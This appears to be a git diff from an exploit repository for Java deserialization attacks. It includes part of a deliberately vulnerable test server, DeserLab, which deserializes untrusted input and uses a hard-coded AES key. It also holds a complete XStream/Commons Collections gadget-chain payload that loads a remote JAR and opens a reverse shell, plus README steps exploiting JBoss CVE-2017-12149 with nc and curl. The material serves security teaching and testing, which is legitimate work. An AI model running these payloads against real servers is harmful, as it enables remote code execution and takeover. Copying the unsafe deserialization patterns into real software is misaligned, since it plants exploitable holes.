if (plainText == null)
|
|
||||||
responseMsg = "\nAn error ocurred when decrypting the stream.\n";
|
|
||||||
else
|
|
||||||
responseMsg = deserialize(new ByteArrayInputStream(plainText));
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
else if (t.getRequestMethod().equals("POST")){
|
|
||||||
|
|
||||||
InputStream input = t.getRequestBody();
|
|
||||||
// take 2 bytes from header to check if it is a raw object
|
|
||||||
PushbackInputStream pbis = new PushbackInputStream( input, 2 );
|
|
||||||
byte [] header = new byte[2];
|
|
||||||
int len = pbis.read(header);
|
|
||||||
pbis.unread( header, 0, len );
|
|
||||||
StringBuffer headerResult = new StringBuffer();
|
|
||||||
for (byte b: header)
|
|
||||||
headerResult.append(String.format("%02x", b));
|
|
||||||
|
|
||||||
// deserialize raw
|
|
||||||
if (headerResult.toString().equals("aced"))
|
|
||||||
responseMsg = deserialize(pbis); // deserialize RAW
|
|
||||||
else{ // deserialize H4sI, rO0,...
|
|
||||||
// read input into string
|
|
||||||
InputStreamReader isr = new InputStreamReader(pbis, "utf-8");
|
|
||||||
BufferedReader br = new BufferedReader(isr);
|
|
||||||
String body = br.readLine();
|
|
||||||
String paramName = "";
|
|
||||||
String object = getObjectValue(body);
|
|
||||||
|
|
||||||
if (object.startsWith("H4sI") || object.startsWith("rO0") )
|
|
||||||
responseMsg = deserialize(object); // deserialize H4sI, rO0...
|
|
||||||
else if (object.startsWith("<") )
|
|
||||||
responseMsg = deserializeXStream(object); // xtream
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
}// end if POST
|
|
||||||
else{
|
|
||||||
|
|
||||||
responseMsg = "<html>" +
|
|
||||||
"\n<title>DeserLab v0.01</title> " +
|
|
||||||
"\n<br>DeserLab v0.01 - Vulnerable HTTP Server for Deserialization Vulnerabilities Tests." +
|
|
||||||
"\n<br>See examples at: <a href=\"https://github.com/joaomatosf/JavaDeserH2HC\">https://github.com/joaomatosf/JavaDeserH2HC</a>" +
|
|
||||||
"\n<br> <form id=\"0\" name=\"inicial\" method=\"post\" action=\"/post\" enctype=\"application/x-www-form-urlencoded\">" +
|
|
||||||
"\n<bbr> <input type=\"hidden\" name=\"javax.faces.ViewState\" id=\"javax.faces.ViewState\" value=\"H4sI\" />";
|
|
||||||
|
|
||||||
}
|
|
||||||
t.getResponseHeaders().add("Server", "Vulnerable Java HTTP Server v0.01");
|
|
||||||
t.getResponseHeaders().add("Info", "http://github.com/joaomatosf/JavaDeserH2HC");
|
|
||||||
t.getResponseHeaders().add("Content-Type", "x-java-serialized-object");
|
|
||||||
|
|
||||||
if (t.getRequestURI().getPath().contains("jexws") || t.getRequestURI().getPath().contains("jexinv"))
|
|
||||||
t.sendResponseHeaders(404, responseMsg.length());
|
|
||||||
else
|
|
||||||
t.sendResponseHeaders(200, responseMsg.length());
|
|
||||||
|
|
||||||
OutputStream os = t.getResponseBody();
|
|
||||||
os.write(responseMsg.getBytes());
|
|
||||||
os.close();
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean hasParam(String object){
|
|
||||||
if (object.indexOf("=")<40 && object.indexOf("=")>0 && object.split("=")[1].length() > 4)
|
|
||||||
return true;
|
|
||||||
else
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
public String getParamName(String object){
|
|
||||||
if (hasParam(object))
|
|
||||||
return object.substring(0, object.indexOf("=")+1).split("=")[0] + "=";
|
|
||||||
else
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
public String getObjectValue(String object){
|
|
||||||
if (hasParam(object)) {
|
|
||||||
String paramName = getParamName(object);
|
|
||||||
return object.split(paramName)[1];
|
|
||||||
}
|
|
||||||
else
|
|
||||||
return object;
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
public String deserialize(String object){
|
|
||||||
|
|
||||||
ObjectInputStream ois = null;
|
|
||||||
InputStream is = null;
|
|
||||||
GZIPInputStream gis = null;
|
|
||||||
|
|
||||||
// if payload is urlencoded
|
|
||||||
if (object.contains("%2B")) {
|
|
||||||
try {
|
|
||||||
object = URLDecoder.decode(object, "UTF-8");
|
|
||||||
} catch (UnsupportedEncodingException e) {
|
|
||||||
return "\nInvalid encoding. You should use URL Encode!\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
byte[] b64DecodedObj = new BASE64Decoder().decodeBuffer(object);
|
|
||||||
// This another implementation of Base64 is only for java >= 1.8
|
|
||||||
//byte[] b64DecodedObj = Base64.getDecoder().decode(object);
|
|
||||||
is = new ByteArrayInputStream(b64DecodedObj);
|
|
||||||
}catch (Exception e){
|
|
||||||
return "\nInvalid Base64!\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
if (object.startsWith("H4sI")) {
|
|
||||||
try {
|
|
||||||
gis = new GZIPInputStream(is);
|
|
||||||
ois = new ObjectInputStream(gis);
|
|
||||||
} catch (IOException e) {
|
|
||||||
return "\nThe Stream not contains a Java Object!\n";
|
|
||||||
}
|
|
||||||
catch (Exception e) {
|
|
||||||
return "\nInvalid Gzip stream!\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
try {
|
|
||||||
ois = new ObjectInputStream(is);
|
|
||||||
}
|
|
||||||
catch (IOException e ){
|
|
||||||
return "\nThe Stream not contains a Java Object!\n";
|
|
||||||
}
|
|
||||||
catch (Exception e){
|
|
||||||
return e.toString()+"\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Deserialization
|
|
||||||
try{
|
|
||||||
int number = (Integer) ois.readObject();
|
|
||||||
}
|
|
||||||
catch (ClassNotFoundException e) {
|
|
||||||
return "\nSerialized class not found in classpath\n";
|
|
||||||
}
|
|
||||||
catch (IOException e) {
|
|
||||||
return e.toString()+"\n";
|
|
||||||
}
|
|
||||||
catch (ClassCastException e){
|
|
||||||
e.printStackTrace();
|
|
||||||
} catch (IncompleteAnnotationException e){
|
|
||||||
e.printStackTrace();
|
|
||||||
System.out.println("\n[INFO] This payload not works in JRE >= 8u72. Try another version such as those\n" +
|
|
||||||
" which use TiedMapEntry + HashSet (by @matthiaskaiser).\n");
|
|
||||||
return "\nThis payload not works in JRE >= 8u72. Try another version such as those which use TiedMapEntry + HashSet (by @matthiaskaiser).\n";
|
|
||||||
}
|
|
||||||
catch (Exception e){
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
return "\nData deserialized!\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
public String deserialize(InputStream is){
|
|
||||||
|
|
||||||
ObjectInputStream ois = null;
|
|
||||||
|
|
||||||
try{
|
|
||||||
ois = new ObjectInputStream(is);
|
|
||||||
}catch (EOFException e){
|
|
||||||
e.printStackTrace();
|
|
||||||
return "\nThe request body not contains a Stream!\n";
|
|
||||||
} catch (Exception e) {
|
|
||||||
return e.toString()+"\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// This cast simulate what occurs in a real server
|
|
||||||
int number = (Integer) ois.readObject();
|
|
||||||
} catch (IOException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
return "\nSerialized class not found in classpath\n";
|
|
||||||
} catch (ClassCastException e){
|
|
||||||
e.printStackTrace();
|
|
||||||
} catch (IncompleteAnnotationException e){
|
|
||||||
e.printStackTrace();
|
|
||||||
System.out.println("\n[INFO] This payload not works in JRE >= 8u72. Try another version such as those\n" +
|
|
||||||
" which use TiedMapEntry + HashSet (by @matthiaskaiser).\n");
|
|
||||||
return "\nThis payload not works in JRE >= 8u72. Try another version such as those which use TiedMapEntry + HashSet (by @matthiaskaiser).\n";
|
|
||||||
}
|
|
||||||
catch (Exception e){
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
|
|
||||||
return "\nData deserialized!\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
public String deserializeXStream(String xml){
|
|
||||||
|
|
||||||
Class classXStream = null;
|
|
||||||
Class classDomDriver = null;
|
|
||||||
Class classHierarchicalStreamDriver = null;
|
|
||||||
//Class classJsonHierarchicalStreamDriver = null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
|
|
||||||
classHierarchicalStreamDriver = Class.forName("com.thoughtworks.xstream.io.HierarchicalStreamDriver");
|
|
||||||
//classJsonHierarchicalStreamDriver = Class.forName("com.thoughtworks.xstream.io.json.JsonHierarchicalStreamDriver");
|
|
||||||
classXStream = Class.forName("com.thoughtworks.xstream.XStream");
|
|
||||||
classDomDriver = Class.forName("com.thoughtworks.xstream.io.xml.DomDriver");
|
|
||||||
|
|
||||||
//Constructor ctrJsonDriver = classJsonHierarchicalStreamDriver.getDeclaredConstructor();
|
|
||||||
Constructor ctrDomDriver = classDomDriver.getDeclaredConstructor();
|
|
||||||
Constructor ctrXStream = classXStream.getDeclaredConstructor(classHierarchicalStreamDriver);
|
|
||||||
|
|
||||||
Object domDriverInstance = ctrDomDriver.newInstance();
|
|
||||||
//Object jsonDriverInstance = ctrJsonDriver.newInstance();
|
|
||||||
Object xstreamInstance = ctrXStream.newInstance(domDriverInstance);
|
|
||||||
|
|
||||||
//Desativado json...
|
|
||||||
//if (xml.startsWith("<"))
|
|
||||||
//xstreamInstance = ctrXStream.newInstance(domDriverInstance);
|
|
||||||
//else
|
|
||||||
// xstreamInstance = ctrXStream.newInstance(jsonDriverInstance);
|
|
||||||
|
|
||||||
Method m = xstreamInstance.getClass().getMethod("fromXML", String.class);
|
|
||||||
m.invoke(xstreamInstance, xml);
|
|
||||||
|
|
||||||
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
return "\nXStream lib not found in classpath. You must add \"xstream-1.4.6.jar\" in -cp param. Ex: \n" +
|
|
||||||
"java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableServer\n\n";
|
|
||||||
} catch (Exception e){
|
|
||||||
e.printStackTrace();
|
|
||||||
return "\nError deserializing XML...\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
return "\nXML deserialized!\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] decryptAES(String object, String aesKey){
|
|
||||||
|
|
||||||
byte[] iv = new byte[16];
|
|
||||||
String algorithmName = "AES";
|
|
||||||
|
|
||||||
byte[] cipherText = null;
|
|
||||||
byte[] plainTextWithIV = null;
|
|
||||||
byte[] plainText = null;
|
|
||||||
byte[] key = null;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// first decode object from base64
|
|
||||||
cipherText = new BASE64Decoder().decodeBuffer(object);
|
|
||||||
// use the same harded code key from apache shino
|
|
||||||
key = new BASE64Decoder().decodeBuffer(aesKey);
|
|
||||||
|
|
||||||
} catch (Exception e) { e.printStackTrace(); return null; }
|
|
||||||
|
|
||||||
try {
|
|
||||||
|
|
||||||
IvParameterSpec ivSpec = new IvParameterSpec(iv);
|
|
||||||
Key keySpec = new SecretKeySpec(key, algorithmName);
|
|
||||||
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
|
|
||||||
cipher.init(Cipher.DECRYPT_MODE, keySpec,ivSpec);
|
|
||||||
// decrypt ciphertext and put the IV in the header
|
|
||||||
plainTextWithIV = cipher.doFinal(cipherText);
|
|
||||||
// remove the iv from header of plaintext in order to deserialize it later
|
|
||||||
plainText = new byte[plainTextWithIV.length - iv.length];
|
|
||||||
System.arraycopy(plainTextWithIV, iv.length, plainText, 0, plainText.length);
|
|
||||||
return plainText;
|
|
||||||
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Binary file not shown.
@ -1,67 +0,0 @@
|
|||||||
<!--
|
|
||||||
Payload com gadget chain para carregar e executar uma classe remota
|
|
||||||
(hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
|
|
||||||
do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
|
|
||||||
a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
|
|
||||||
Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
|
|
||||||
o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
|
|
||||||
de um LazyMap decorado com a ChainedTransformers.
|
|
||||||
|
|
||||||
Esse XML pode ser usado para validação/exploração de sistemas que realizam a
|
|
||||||
desserialização usando o XStream. O propósito é unica e exclusivamente DIDATICO!
|
|
||||||
NAO utilize em sistemas que você não tenha autorização!
|
|
||||||
|
|
||||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
|
||||||
* https://www.h2hc.com.br/revista/
|
|
||||||
* https://github.com/joaomatosf/JavaDeserH2HC
|
|
||||||
* @joaomatosf
|
|
||||||
-->
|
|
||||||
<set>
|
|
||||||
<org.apache.commons.collections.keyvalue.TiedMapEntry>
|
|
||||||
<map class="org.apache.commons.collections.map.LazyMap" serialization="custom">
|
|
||||||
<unserializable-parents/>
|
|
||||||
<org.apache.commons.collections.map.LazyMap>
|
|
||||||
<default>
|
|
||||||
<factory class="org.apache.commons.collections.functors.ChainedTransformer">
|
|
||||||
<iTransformers>
|
|
||||||
<org.apache.commons.collections.functors.ConstantTransformer>
|
|
||||||
<iConstant class="java-class">java.net.URLClassLoader</iConstant>
|
|
||||||
</org.apache.commons.collections.functors.ConstantTransformer>
|
|
||||||
<org.apache.commons.collections.functors.InstantiateTransformer>
|
|
||||||
<iParamTypes>
|
|
||||||
<java-class>[Ljava.net.URL;</java-class>
|
|
||||||
</iParamTypes>
|
|
||||||
<iArgs>
|
|
||||||
<url-array>
|
|
||||||
<url>http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar</url>
|
|
||||||
</url-array>
|
|
||||||
</iArgs>
|
|
||||||
</org.apache.commons.collections.functors.InstantiateTransformer>
|
|
||||||
<org.apache.commons.collections.functors.InvokerTransformer>
|
|
||||||
<iMethodName>loadClass</iMethodName>
|
|
||||||
<iParamTypes>
|
|
||||||
<java-class>java.lang.String</java-class>
|
|
||||||
</iParamTypes>
|
|
||||||
<iArgs>
|
|
||||||
<string>JexReverse</string>
|
|
||||||
</iArgs>
|
|
||||||
</org.apache.commons.collections.functors.InvokerTransformer>
|
|
||||||
<org.apache.commons.collections.functors.InstantiateTransformer>
|
|
||||||
<iParamTypes>
|
|
||||||
<java-class>java.lang.String</java-class>
|
|
||||||
<java-class>int</java-class>
|
|
||||||
</iParamTypes>
|
|
||||||
<iArgs>
|
|
||||||
<string>YOUR_BOX_IP</string>
|
|
||||||
<int>PORT_LISTENING</int>
|
|
||||||
</iArgs>
|
|
||||||
</org.apache.commons.collections.functors.InstantiateTransformer>
|
|
||||||
</iTransformers>
|
|
||||||
</factory>
|
|
||||||
</default>
|
|
||||||
<map/>
|
|
||||||
</org.apache.commons.collections.map.LazyMap>
|
|
||||||
</map>
|
|
||||||
<key class="string">foo</key>
|
|
||||||
</org.apache.commons.collections.keyvalue.TiedMapEntry>
|
|
||||||
</set>
|
|
||||||
Binary file not shown.
@ -1,12 +1,7 @@
|
|||||||
# JbossAS 5.x/6.x反序列化远程命令执行漏洞(CVE-2017-12149)
|
# JbossAS 5.x/6.x反序列化RCE (CVE-2017-12149)
|
||||||
* Github[https://github.com/joaomatosf/JavaDeserH2HC](https://github.com/joaomatosf/JavaDeserH2HC)
|
|
||||||
* [https://access.redhat.com/security/cve/cve-2017-12149](https://access.redhat.com/security/cve/cve-2017-12149)
|
|
||||||
* 工具GUI[http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip](http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip)
|
|
||||||
## 漏洞利用
|
## 漏洞利用
|
||||||
1: `javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java`
|
`java -jar jboss_CVE-2017-12149_exp.jar`
|
||||||
|
|
||||||
2: `java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port` //反弹shell的IP和端口,然后会生成一个ReverseShellCommonsCollectionsHashMap.ser文件
|
|
||||||
|
|
||||||
3: 打开另外一个终端并且nc开始设置的反弹shell的IP
|
|
||||||
|
|
||||||
4: `curl 网址/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser`
|
|
||||||
|
|||||||
16
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/README2.md
Normal file
16
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/README2.md
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
# jboss-_CVE-2017-12149
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
verify_CVE-2017-12149.jar提供命令行模式下验证漏洞,如果漏洞存在返回特征字符串,只需要执行命令:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
$ java -jar verify_CVE-2017-12149.jar http://xxx:8080
|
||||||
|
|
||||||
|
#成功返回:
|
||||||
|
vuln6581362514513155613jboss
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
BIN
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/images/1.jpg
Normal file
BIN
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/images/1.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 30 KiB |
BIN
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/images/2.png
Normal file
BIN
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/images/2.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 24 KiB |
Binary file not shown.
Loading…
x
Reference in New Issue
Block a user